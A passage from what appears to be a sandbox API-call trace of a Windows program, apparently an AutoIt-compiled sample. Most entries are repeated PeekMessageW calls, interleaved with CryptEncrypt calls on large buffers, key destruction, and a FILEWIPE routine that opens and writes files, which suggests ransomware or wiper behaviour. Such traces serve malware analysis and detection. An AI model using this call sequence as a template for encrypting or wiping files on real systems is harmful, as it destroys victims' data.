hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.010] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.011] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.011] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064b90, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b90*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.011] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.011] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.011] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.012] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.012] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.012] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.012] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10083, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10090) returned 1 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.012] CharLowerBuffW (in: lpsz="byte[65681]", cchLength=0xb | out: lpsz="byte[65681]") returned 0xb [0028.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.014] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.014] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.015] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.015] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43aa1e0*, pdwDataLen=0xe8f3dfdf68*=0x10083, dwBufLen=0x10090 | out: pbData=0xe8f43aa1e0*, pdwDataLen=0xe8f3dfdf68*=0x10090) returned 1 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.015] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.015] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.015] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.020] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.021] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.021] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.021] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.021] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.021] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.021] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.021] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.021] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.022] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.022] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.022] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.022] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.022] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.022] CryptReleaseContext (hProv=0xe8f406a550, dwFlags=0x0) returned 1 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.022] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.022] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.024] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.027] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.027] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.027] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.027] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.028] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.028] CharLowerBuffW (in: lpsz="byte[65667]", cchLength=0xb | out: lpsz="byte[65667]") returned 0xb [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.029] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.029] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.029] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.029] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.030] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.030] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.030] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.030] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 